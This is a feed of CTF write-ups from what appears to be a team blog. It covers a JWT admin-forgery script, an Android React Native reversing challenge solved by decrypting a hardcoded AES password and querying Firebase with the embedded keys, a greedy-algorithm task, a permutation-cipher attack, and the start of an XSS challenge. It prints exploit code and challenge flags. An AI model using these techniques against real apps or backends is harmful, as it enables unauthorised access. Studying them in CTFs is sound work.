    s.cookies.update({&quot;accesstoken&quot;: new_jwt})

    response = requests.get(f&quot;{BASE_URL}/admin/dashboard&quot;,cookies={&quot;accesstoken&quot;: new_jwt})

    soup = BeautifulSoup(response.text, &apos;html.parser&apos;)
    postid = soup.find_all(&apos;td&apos;)[1].text

    print(f&quot;Post-id: {postid}&quot;)

    flag = s.get(f&quot;{BASE_URL}/user/posts/{postid}&quot;).json().get(&quot;data&quot;)

    print(&quot;Flag 1 trendz: &quot; + flag)

def main():
    print(&quot;Exploiting...&quot;)

    username, password = random_string(10), random_string(10)
    register(username, password)
    login(username, password)

    get_flag_1()

    if not get_flag_2():
        print(&quot;Flag 2 retrieval failed try again :(&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[CSCTF{0a97afb3-64be-4d96-aa52-86a91a2a3c52}]&lt;/p&gt;
&lt;p&gt;flag: :spoiler[CSCTF{d2426fb5-a93a-4cf2-b353-eac8e0e9cf94}]&lt;/p&gt;
&lt;h5&gt;PS:&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;In the first flag I skipped a very funny part, in fact it is not enough to log in only as admin because we will not be shown the flag but a post of an ID that if you remember the flag was also in a precise record initialised in run.sh, if through /user/posts/post-id we view the post we can find the flag&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>SekaiCTF2024 | Crack Me</title><link>https://bytethecookies.org/posts/sekaictf2024-crackme/</link><guid isPermaLink="true">https://bytethecookies.org/posts/sekaictf2024-crackme/</guid><description>Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag?</description><pubDate>Mon, 26 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands.
The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does.&lt;/p&gt;
&lt;p&gt;&amp;lt;div style=&quot;display:flex; height:50vh&quot;&amp;gt;
&amp;lt;img alt=&quot;img-app1&quot; style=&quot;margin:0px&quot; src=&quot;/images/crackme/app-image1.jpeg&quot;&amp;gt;
&amp;lt;img alt=&quot;img-app1&quot; style=&quot;margin:0px&quot; src=&quot;/images/crackme/app-image2.jpeg&quot;&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;As you can see, the app doesn&apos;t allow us to do much more than press the button and log in (without being able to register).&lt;/p&gt;
&lt;h2&gt;First step&lt;/h2&gt;
&lt;p&gt;The first thing I did was to analyse the apk using an online tool. &lt;a href=&quot;https://sisik.eu/apk-tool&quot;&gt;SISIK&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And two interesting pieces of information came up: the first was that it was a react-native app, which helps us a lot in reverse, and that the app was using firebase to handle the backend and probably authentication as well.&lt;/p&gt;
&lt;h2&gt;Second Step&lt;/h2&gt;
&lt;p&gt;The apk is actually a compressed set of java files like a zipper and tar, this then allows us to easily extract the contents with any tool like unzip or 7z (in my case I used extract which is a utils of zsh).&lt;/p&gt;
&lt;p&gt;Once we have extracted the contents we should find something like this&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/crackme/image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, we have a huge number of files, but this is where tools like &lt;a href=&quot;https://www.gnu.org/software/grep/manual/grep.html&quot;&gt;grep&lt;/a&gt; or &lt;a href=&quot;https://github.com/junegunn/fzf&quot;&gt;fzf&lt;/a&gt; come in.&lt;/p&gt;
&lt;p&gt;This allows us to search for files based on keywords as in my case: admin,sekai,user,password&lt;/p&gt;
&lt;p&gt;After some research we can find us an obfuscated js file named: index.android.bundle&lt;/p&gt;
&lt;p&gt;After some research we can find there a file named index.android.bundle with some obfuscated javascript inside, knowing that the application is written in react-native and that inside this file there are keywords like: admin,sekai,password, it is definitely an interesting file.&lt;/p&gt;
&lt;h2&gt;Third Step&lt;/h2&gt;
&lt;p&gt;One possible idea might be a react-native app decompiler, which fortunately exists and is easy to find in the case I used: &lt;a href=&quot;https://github.com/numandev1/react-native-decompiler&quot;&gt;React Native Decompiler&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Once installed, and running the command &lt;code&gt;react-native-decompiler index.android.bundle -o bundle_deobfuscated&lt;/code&gt;, we should find about 800 js files, a bit confusing but understandable with a little effort.&lt;/p&gt;
&lt;h2&gt;Fourth Step&lt;/h2&gt;
&lt;p&gt;We can reuse grep and fzf to search again for the words of interest.&lt;/p&gt;
&lt;p&gt;By searching, we manage to find a really interesting file, in which we find the login system that is done in the application.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function _() {
  var e, o;
  module25.default(this, _);
  (e = L.call(this, ...args)).state = {
    email: &quot;&quot;,
    password: &quot;&quot;,
    wrongEmail: false,
    wrongPwd: false,
    checked: false,
    verifying: false,
    errorTitle: &quot;&quot;,
    errorMessage: &quot;&quot;,
  };
  e._verifyEmail =
    ((o = module275.default(function* (t) {
      t.setState({
        verifying: true,
      });
      var n = module478.initializeApp(module477.default),
        o = module486.getDatabase(n);
      if (
        &quot;admin@sekai.team&quot; !== t.state.email ||
        false === e.validatePassword(t.state.password)
      )
        console.log(&quot;Not an admin account.&quot;);
      else console.log(&quot;You are an admin...This could be useful.&quot;);
      var s = module488.getAuth(n);
      module488
        .signInWithEmailAndPassword(s, t.state.email, t.state.password)
        .then(function (e) {
          t.setState({
            verifying: false,
          });
          var n = module486.ref(o, &quot;users/&quot; + e.user.uid + &quot;/flag&quot;);
          module486.onValue(n, function () {
            t.setState({
              verifying: false,
            });
            t.setState({
              errorTitle: &quot;Hello Admin&quot;,
              errorMessage: &quot;Keep digging, you are almost there!&quot;,
            });
            t.AlertPro.open();
          });
        })
        .catch(function (e) {
          // Different error messages
        });
    })),
    function (e) {
      return o.apply(this, arguments);
    });

  e.validatePassword = function (e) {
    if (17 !== e.length) return false;
    var t = module700.default.enc.Utf8.parse(module456.default.KEY),
      n = module700.default.enc.Utf8.parse(module456.default.IV);
    return (
      &quot;03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524&quot; ===
      module700.default.AES.encrypt(e, t, {
        iv: n,
      }).ciphertext.toString(module700.default.enc.Hex)
    );
  };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&apos;s analyse the operation of the login... as we can see the email that checks for the login is only one, that of the admin &lt;code&gt;admin@sekai.team&lt;/code&gt; and the password is checked with a function in particular &lt;code&gt;validatePassword&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Going to analyse the function, we see that the decryption of a hex string is done via AES, but even more important detail, the IV and the Key are imported from another file, by analysing the form in question we can find out the value of the IV and the Key.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var _ = {
  LOGIN: &quot;LOGIN&quot;,
  EMAIL_PLACEHOLDER: &quot;user@sekai.team&quot;,
  PASSWORD_PLACEHOLDER: &quot;password&quot;,
  BEGIN: &quot;CRACKME&quot;,
  SIGNUP: &quot;SIGN UP&quot;,
  LOGOUT: &quot;LOGOUT&quot;,
  KEY: &quot;react_native_expo_version_47.0.0&quot;,
  IV: &quot;__sekaictf2023__&quot;,
};
exports.default = _;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This allows us to easily find the password even with a trivial Python script like this one:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = b&quot;react_native_expo_version_47.0.0&quot;[:32]
iv = b&quot;__sekaictf2023__&quot;
ciphertext = binascii.unhexlify(
    &quot;03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524&quot;)
email = &quot;admin@sekai.team&quot;

def decrypt_password():
  cipher = AES.new(key, AES.MODE_CBC, iv)
  decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)

  password = decrypted.decode(&apos;utf-8&apos;)
  assert len(password) == 17

  return password

  def main():
    password = decrypt_password()
    print(&quot;password:&quot;, password)
    print(&quot;email: &quot;, email)

if __name__ == &apos;__main__&apos;:
    main()


# OUTPUT:

# password: s3cr3t_SEKAI_P@ss
# email: admin@sekai.team

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;PERFECT&lt;/strong&gt;! It&apos;s done, we have the flag, we just need to log in to the application&lt;/p&gt;
&lt;p&gt;&amp;lt;img alt=&quot;img-app3&quot; style=&quot;height:50vh; margin:0px&quot; src=&quot;/images/crackme/app-image3.jpeg&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;OR MAYBE NOT 😥...&lt;/p&gt;
&lt;h2&gt;Fifth step&lt;/h2&gt;
&lt;p&gt;After a moment&apos;s panic, I resume checking the code and how the login system works; indeed, we can see that as soon as the login is complete, a request is made to the database (probably the &lt;a href=&quot;https://firebase.google.com/docs/database&quot;&gt;firebase realtime database&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;So, in a sense, the flag has been given to us, we just have to catch it on the fly, and there are two ways of doing that.&lt;/p&gt;
&lt;h2&gt;Unintended solution&lt;/h2&gt;
&lt;p&gt;The first solution was to intercept the call and answer from the app to the db and vice versa, but using arch with an NVIDIA video card I had trouble with Android emulation, but you can still find a solution. &lt;a href=&quot;https://ggcoder.medium.com/solving-crackme-from-sekaictf-9660dc41b0ce&quot;&gt;similar solution&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Intended solution (The one i performed)&lt;/h2&gt;
&lt;p&gt;Given my difficulties with the emulation of the application, I continued my search for code, this time also searching Firebase, and managed to find something very interesting&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var c = {
  apiKey: &quot;AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk&quot;,
  authDomain: &quot;crackme-1b52a.firebaseapp.com&quot;,
  projectId: &quot;crackme-1b52a&quot;,
  storageBucket: &quot;crackme-1b52a.appspot.com&quot;,
  messagingSenderId: &quot;544041293350&quot;,
  appId: &quot;1:544041293350:web:2abc55a6bb408e4ff838e7&quot;,
  measurementId: &quot;G-RDD86JV32R&quot;,
  databaseURL: &quot;https://crackme-1b52a-default-rtdb.firebaseio.com&quot;,
};
exports.default = c;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, we are faced with a firebase configuration file with sensitive information that allows us to connect directly to the firebase database using js.
So in the end we just need to replicate the functions used in the login to get the flag.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
import subprocess

key = b&quot;react_native_expo_version_47.0.0&quot;[:32]
iv = b&quot;__sekaictf2023__&quot;
ciphertext = binascii.unhexlify(
    &quot;03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524&quot;)
email = &quot;admin@sekai.team&quot;


def get_flag(email, password):
    process = subprocess.Popen(
        [&quot;node&quot;, &quot;exploit.js&quot;, email, password],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )

    stdout, stderr = process.communicate()

    print(stdout.decode(&apos;utf-8&apos;))

    if stderr:
        print(stderr.decode(&apos;utf-8&apos;))

def decrypt_password():
  cipher = AES.new(key, AES.MODE_CBC, iv)
  decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)

  password = decrypted.decode(&apos;utf-8&apos;)
  assert len(password) == 17

  return password

def main():
    password = decrypt_password()
    print(&quot;password:&quot;, password)
    print(&quot;email: &quot;, email)
    get_flag(email, password)


if __name__ == &apos;__main__&apos;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// filename: exploit.js
import { initializeApp } from &quot;firebase/app&quot;;
import { getAuth, signInWithEmailAndPassword } from &quot;firebase/auth&quot;;
import { getDatabase, ref, get } from &quot;firebase/database&quot;;
import { exit } from &quot;process&quot;;

let app = initializeApp({
  apiKey: &quot;AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk&quot;,
  authDomain: &quot;crackme-1b52a.firebaseapp.com&quot;,
  storageBucket: &quot;crackme-1b52a.appspot.com&quot;,
  projectId: &quot;crackme-1b52a&quot;,
  messagingSenderId: &quot;544041293350&quot;,
  appId: &quot;1:544041293350:web:2abc55a6bb408e4ff838e7&quot;,
  measurementId: &quot;G-RDD86JV32R&quot;,
  databaseURL: &quot;https://crackme-1b52a-default-rtdb.firebaseio.com&quot;,
});

var db = getDatabase(app);
var auth = getAuth(app);

async function loginAndGetFlag(email, password) {
  try {
    const userCredential = await signInWithEmailAndPassword(
      auth,
      email,
      password
    );
    console.log(&quot;Logged in&quot;);
    var n = ref(db, &quot;users/&quot; + userCredential.user.uid + &quot;/flag&quot;);

    const snapshot = await get(n);
    if (snapshot.exists()) {
      console.log(&quot;Flag value:&quot;, snapshot.val());
    }
  } catch (error) {
    console.error(&quot;Error logging in or fetching flag:&quot;, error);
  }
}

const args = process.argv.slice(2);
const email = args[0];
const password = args[1];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[SEKAI{15_React_N@71v3_R3v3rs3_H@RD???}]&lt;/p&gt;
</content:encoded></item><item><title>SekaiCTF2024 | Miku vs. Machine</title><link>https://bytethecookies.org/posts/sekaictf2024-mikuvsmachine/</link><guid isPermaLink="true">https://bytethecookies.org/posts/sekaictf2024-mikuvsmachine/</guid><description>Time limit is 2 seconds for this challenge.</description><pubDate>Mon, 26 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ppc.chals.sekai.team&quot;&gt;&lt;strong&gt;Official resources of challenge&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The goal is to distribute the hours of &lt;code&gt;n&lt;/code&gt; singers in &lt;code&gt;m&lt;/code&gt; shows.
Each show has a number of hours equal to &lt;code&gt;l&lt;/code&gt; (unknown) and can only change singers once.
We also want that each singer will have the same time on stage.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;To solve this problem, I use a &lt;strong&gt;greedy&lt;/strong&gt; strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;T = int(input())

for _ in range(T):
    n, m = map(int, input().split(&apos; &apos;))
    l = n
    print(l)
    duration_for_singer = m
    singers = [duration_for_singer] * n
    for i in range(len(singers)):
        while singers[i] &amp;gt; 0:
            show = []
            if (singers[i] - l) &amp;gt;= 0:
                show.append((l//2, i+1))
                show.append((l - l//2, i+1))
                singers[i] -= l
            elif singers[i] &amp;lt; l:
                show.append((singers[i], i+1))
                show.append((l - singers[i], i+2))
                singers[i+1] -= l - singers[i]
                singers[i] = 0
            print(f&quot;{show[0][0]} {show[0][1]} {show[1][0]} {show[1][1]}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step-by-Step Explanation&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Initialization&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;The first input &lt;code&gt;T&lt;/code&gt; represents the number of test cases.&lt;/li&gt;
&lt;li&gt;After some experimentation on pen and paper, I noticed that the minimum value of &lt;code&gt;l&lt;/code&gt; is equal to the number of singers, so &lt;code&gt;l&lt;/code&gt; is set to &lt;code&gt;n&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;I initialize a list &lt;code&gt;singers&lt;/code&gt; of length &lt;code&gt;n&lt;/code&gt;, where each element is set to &lt;code&gt;m&lt;/code&gt; to represent the remaining singing hours for each singer.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Time Distribution Logic&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;I iterate over each singer using a loop. For each singer &lt;code&gt;i&lt;/code&gt;, the following steps are performed:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;While Loop&lt;/strong&gt;: Continue allocating time to the current singer as long as they have hours remaining (&lt;code&gt;singers[i] &amp;gt; 0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Time Allocation&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;If the current singer has &lt;code&gt;l&lt;/code&gt; or more hours remaining, divide &lt;code&gt;l&lt;/code&gt; hours into two chunks:
&lt;ul&gt;
&lt;li&gt;The first chunk is &lt;code&gt;l//2&lt;/code&gt; hours, and the second chunk is &lt;code&gt;l - l//2&lt;/code&gt; hours. Both chunks are allocated to the same singer.&lt;/li&gt;
&lt;li&gt;Subtract &lt;code&gt;l&lt;/code&gt; from the singer&apos;s remaining hours.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If the current singer has less than &lt;code&gt;l&lt;/code&gt; hours remaining:
&lt;ul&gt;
&lt;li&gt;Allocate all remaining hours to the current singer.&lt;/li&gt;
&lt;li&gt;Allocate the rest of &lt;code&gt;l&lt;/code&gt; to the next singer in line (&lt;code&gt;i+2&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Subtract the hours from the next singer&apos;s total.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Output&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;After each allocation, the result is stored in a list &lt;code&gt;show&lt;/code&gt; and printed in the format &lt;code&gt;{hours1} {singer1} {hours2} {singer2}&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Output&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;The program prints the number &lt;code&gt;l&lt;/code&gt; as the first line for each test case.&lt;/li&gt;
&lt;li&gt;For each show, the specific distribution of hours between the singers is printed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Example Execution&lt;/h2&gt;
&lt;h3&gt;Input&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;n&lt;/code&gt; = 4 &lt;br /&gt;
&lt;code&gt;m&lt;/code&gt; = 7&lt;/p&gt;
&lt;h3&gt;Execution&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;l&lt;/code&gt; = 4 &lt;br /&gt;
&lt;code&gt;singers&lt;/code&gt; = [7, 7, 7, 7]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;i&lt;/code&gt; = 0&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;show&lt;/code&gt; = (hours:2 singer:1 , hours:2 singer:1) &lt;br /&gt;
&lt;code&gt;singers&lt;/code&gt; = [3, 7, 7, 7]&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;show&lt;/code&gt; = ( hours:3 singer:1 , hours:1 singer:2 ) &lt;br /&gt;
&lt;code&gt;singers&lt;/code&gt; = [0, 6, 7, 7]&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;i&lt;/code&gt; = 1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;show&lt;/code&gt; = ( hours:2 singer:2 , hours:2 singer:2 ) &lt;br /&gt;
&lt;code&gt;singers&lt;/code&gt; = [0, 2, 7, 7]&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;show&lt;/code&gt; = ( hours:2 singer:2 , hours:2 singer:3 ) &lt;br /&gt;
&lt;code&gt;singers&lt;/code&gt; = [0, 0, 5, 7]&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;i&lt;/code&gt; = 2&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;show&lt;/code&gt; = ( hours:2 singer:3 , hours:2 singer:3 ) &lt;br /&gt;
&lt;code&gt;singers&lt;/code&gt; = [0, 0, 1, 7]&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;show&lt;/code&gt; = ( hours:1 singer:3 , hours:3 singer:4 ) &lt;br /&gt;
&lt;code&gt;singers&lt;/code&gt; = [0, 0, 0, 4]&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;i&lt;/code&gt; = 3&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;show&lt;/code&gt; = ( hours:2 singer:4 , hours:2 singer:4 ) &lt;br /&gt;
&lt;code&gt;singers&lt;/code&gt; = [0, 0, 0, 0]&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Output&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;4
2 1 2 1
3 1 1 2
2 2 2 2
2 2 2 3
2 3 2 3
1 3 3 4
2 4 2 4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I don&apos;t consider this challenge difficult, it&apos;s just a greedy algorithm (it takes a lot more to scare a LeetCode boy), but it wasn&apos;t immediately clear that the output didn&apos;t necessarily have to be the same as that shown in the challenge&apos;s PDF , but it was enough to fit the constraints of the problem.&lt;/p&gt;
&lt;p&gt;flag: :spoiler[SEKAI{t1nyURL_th1s:_6d696b75766d}]&lt;/p&gt;
</content:encoded></item><item><title>SekaiCTF2024 | Some Trick</title><link>https://bytethecookies.org/posts/sekaictf2024-sometrick/</link><guid isPermaLink="true">https://bytethecookies.org/posts/sekaictf2024-sometrick/</guid><description>Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen.</description><pubDate>Mon, 26 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob&apos;s first encryption.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import random
from secrets import randbelow, randbits
from flag import FLAG

CIPHER_SUITE = randbelow(2**256)
print(f&quot;oPUN_SASS_SASS_l version 4.0.{CIPHER_SUITE}&quot;)
random.seed(CIPHER_SUITE)

GSIZE = 8209
GNUM = 79

LIM = GSIZE**GNUM


def gen(n):
    p, i = [0] * n, 0
    for j in random.sample(range(1, n), n - 1):
        p[i], i = j, j
    return tuple(p)


def gexp(g, e):
    res = tuple(g)
    while e:
        if e &amp;amp; 1:
            res = tuple(res[i] for i in g)
        e &amp;gt;&amp;gt;= 1
        g = tuple(g[i] for i in g)
    return res


def enc(k, m, G):
    if not G:
        return m
    mod = len(G[0])
    return gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod


def inverse(perm):
    res = list(perm)
    for i, v in enumerate(perm):
        res[v] = i
    return res


G = [gen(GSIZE) for i in range(GNUM)]


FLAG = int.from_bytes(FLAG, &apos;big&apos;)
left_pad = randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))
FLAG = (FLAG &amp;lt;&amp;lt; left_pad.bit_length()) + left_pad
FLAG = (randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))
        &amp;lt;&amp;lt; FLAG.bit_length()) + FLAG

bob_key = randbelow(LIM)
bob_encr = enc(FLAG, bob_key, G)
print(&quot;bob says&quot;, bob_encr)
alice_key = randbelow(LIM)
alice_encr = enc(bob_encr, alice_key, G)
print(&quot;alice says&quot;, alice_encr)
bob_decr = enc(alice_encr, bob_key, [inverse(i) for i in G])
print(&quot;bob says&quot;, bob_decr)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The first thing we do is retrieve the &lt;code&gt;CIPHER_SUITE&lt;/code&gt; variable to set the random seed and reconstruct the set of permutations G, then we care about retrieving &lt;code&gt;bob_key&lt;/code&gt; to ultimately recover the flag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s = int(r.recvline().strip().decode().split(&apos;.&apos;)[-1])
random.seed(s)

G = [gen(GSIZE) for i in range(GNUM)]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;def decm(k, G, val):
    m = 0
    for i in range(GNUM):
        x = val % GSIZE
        y = gexp(G[i], k % GSIZE).index(x)
        m += y * GSIZE ** i
        val = (val - x) // GSIZE
        k //= GSIZE
    return m

bob_key = decm(alice_encr, G, bob_encr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Recovering the flag takes a bit more work, I&apos;ve only managed a brute-force solution which I optimized the best I could; it&apos;s not the best but it does the job.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def maketable(g):
    gg = deepcopy(g) # just to be safe
    table = {}
    for i in range(GSIZE):
        table[i] = gg
        gg = tuple(gg[i] for i in gg)
    return table

def perm(table, e):
    res = tuple(table[0])
    rbits = reversed(bits(e))
    ones = filter(lambda x: x != -1, [i if v == 1 else -1 for i, v in enumerate(rbits)])
    for index in ones:
        res = tuple(res[j] for j in table[index])
    return res

def findk(queue, event, table, start, end, index, want):
    for k in range(start, min(GSIZE, end)):
        if event.is_set():
            return
        if perm(table, k)[index] == want:
            event.set()
            queue.put(k)
            return

def deck(m, G, val):
    key = 0
    for i in range(GNUM):
        x = val % GSIZE
        table = maketable(G[i])
        queue = mp.Queue()
        event = mp.Event()
        ps = [mp.Process(target=findk, args=(queue, event, table, start, start + (GSIZE // mp.cpu_count()) + 1, m % GSIZE, x)) for start in range(0, GSIZE, GSIZE // mp.cpu_count())][:mp.cpu_count()]
        for p in ps:
            p.start()

        k = queue.get()
        if k == 0:
            return key

        key += k * GSIZE ** i
        val = (val - x) // GSIZE
        m //= GSIZE
    return key + m * GSIZE ** GNUM

key = deck(bob_key, G, bob_encr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The recovered key isn&apos;t the flag yet, as it went through some transformations first, but it&apos;s clear that the flag&apos;s bits are still there in the middle, untouched between the two paddings, so we can just do some shifting until we find it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    for i in range(key.bit_length()):
        shifted = key &amp;gt;&amp;gt; i
        for j in range(1, shifted.bit_length()):
            keepmask = (1 &amp;lt;&amp;lt; j) - 1
            final = shifted &amp;amp; keepmask
            dec = final.to_bytes(keepmask.bit_length() // 8 + 1)
            if b&apos;SEKAI{&apos; in dec:
                start = dec.index(b&apos;SEKAI&apos;)
                end = start + dec[start:].index(b&apos;}&apos;) + 1
                print(f&apos;flag: {dec[start:end].decode()}&apos;)
                break
        else:
            continue
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[SEKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}]&lt;/p&gt;
</content:encoded></item><item><title>IdekCTF2024 | Hello</title><link>https://bytethecookies.org/posts/idekctf2024-hello/</link><guid isPermaLink="true">https://bytethecookies.org/posts/idekctf2024-hello/</guid><description>Just to warm you up for the next Fight :&quot;D</description><pubDate>Sun, 18 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered}&lt;/p&gt;
&lt;p&gt;The with an ngix server&lt;/p&gt;
&lt;p&gt;Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# filename: index.py

&amp;lt;?php


function Enhanced_Trim($inp) {
    $trimmed = array(&quot;\r&quot;, &quot;\n&quot;, &quot;\t&quot;, &quot;/&quot;, &quot; &quot;);
    return str_replace($trimmed, &quot;&quot;, $inp);
}


if(isset($_GET[&apos;name&apos;]))
{
    $name=substr($_GET[&apos;name&apos;],0,23);
    echo &quot;Hello, &quot;.Enhanced_Trim($_GET[&apos;name&apos;]);
}

?&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# filename: info.py

&amp;lt;?php
phpinfo();
?&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# filename: ngix.conf


user www-data;
worker_processes 1;

events {
worker_connections 1024;
}

http {
include /etc/nginx/mime.types;
default_type application/octet-stream;

    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;

        location / {
            root   /usr/share/nginx/html;
            index  index.php index.html index.htm;
        }

        location = /info.php {
        allow 127.0.0.1;
        deny all;
        }

        location ~ \.php$ {
        root           /usr/share/nginx/html;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include fastcgi_params;
        fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
        }

    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, there are 3 main files to focus on&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The first is the index file where we see how the page works and the filters used, in particular the fact that we cannot use /, spaces, etc.&lt;/li&gt;
